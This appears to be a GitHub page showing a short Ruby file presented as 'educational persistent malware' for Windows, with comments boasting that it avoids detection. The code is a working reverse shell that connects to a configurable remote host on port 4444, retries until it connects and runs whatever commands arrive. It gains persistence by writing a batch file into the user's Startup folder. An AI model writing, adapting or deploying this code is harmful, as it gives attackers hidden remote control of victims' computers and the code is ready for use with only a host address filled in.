-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.rb
44 lines (37 loc) · 1.02 KB
/
main.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#educational persistent malware ruby no detection!
#sim, so tem 45 linhas, MUITO SEGURO ESSE WINDOWS HEIN MICROSOFT KKKKK
require 'socket'
require 'etc'
require 'open3'
RHOST = ""
PORT = "4444"
#reference reverse shell: mr robot!
def rev()
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "[\033[1;92m*\033[1;97m] Connected!"
sock.print ">> "
rescue
sleep 20
retry
end
begin
while line = sock.gets
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
end
def persist()
user = Etc.getlogin
path = "C:/Users/#{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
Dir.chdir(path)
dir = __dir__
v = '""'
f = File.open("open.bat", "w") {|f| f.write("ruby #{dir}/main.rb") }
end
persist()
rev()